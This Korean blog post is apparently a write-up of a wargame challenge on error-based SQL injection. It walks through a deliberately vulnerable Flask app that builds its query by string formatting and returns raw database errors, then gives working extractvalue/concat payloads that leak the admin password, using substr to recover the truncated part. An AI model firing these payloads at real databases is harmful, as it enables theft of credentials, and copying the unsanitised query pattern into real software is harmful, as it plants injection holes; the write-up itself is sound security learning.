[Web Hacking] DH - Error Based SQL Injection

KyungH·2024년 12월 15일

Web Hacking War Game

목록 보기
17/17
post-thumbnail

📝Problem - Error Based SQL Injection

app.py 부터 확인해보면

import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        try:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
            return template.format(uid=uid)
        except Exception as e:
            return str(e)
    else:
        return template


if __name__ == '__main__':
    app.run(host='0.0.0.0')

/ 경로로 부터 uid 파라미터를 통해 사용자로부터 SQL 쿼리입력값을 받고 있다.
별 다른 필터링이 없어 SQL Injection 취약점이 발생하는 것을 알 수 있고,

쿼리 결과를 출력하는 대신, 쿼리를 수행하는 과정에서 에러가 발생할 경우
이를 출력하는 과정을 거치고 있다.

init.sql 코드

CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `users`;
CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
FLUSH PRIVILEGES;

플래그는 admin의 upw임을 알 수 있다.


📌Approach

이전의 강의에서 배운대로 Error Based SQL Injection을 수행하면 간단하게 해결할 수 있다.

함수는 extractvalue 함수를 사용할 것이고, 첫 번째 인자로 전달된 XML 데이터가
두 번째 인자인 XPATH 식을 통해 추출하는 과정 중, 올바르지 않은 XPATH 식을 의도적으로
발생시켜 오류를 만든다.

올바르지 않은 XPATH 식은 다음과 같이 0x3a(:)와 같은 특수문자를 붙여 만들어낸다.

SELECT extractvalue(1,concat(0x3a,version()));
/*
ERROR 1105 (HY000): XPATH syntax error: ':5.7.29-0ubuntu0.16.04.1-log'
*/

📌Solution

extractvalue 함수와 서브쿼리를 이용하여 원하는 값을 확인해볼 수 있다.

admin 계정의 upw를 확인하는 서브쿼리와 함께 작성하면 다음과 같다.

admin' and extractvalue(1,concat(0x3a, (SELECT upw from user WHERE uid='admin') ))-- 

이를 제출하면 플래그 형식인 DH{ 로 올바르게 출력이 됨을 알 수 있으나,
끝부분이 잘리게 나온다.

끝부분 확인을 위해 substr 함수, 또는 reverse 함수를 이용하여 확인해볼 수 있다.

admin' and extractvalue(1,concat(0x3a, substr((SELECT upw from user WHERE uid='admin'), 25, 20)))-- 


0개의 댓글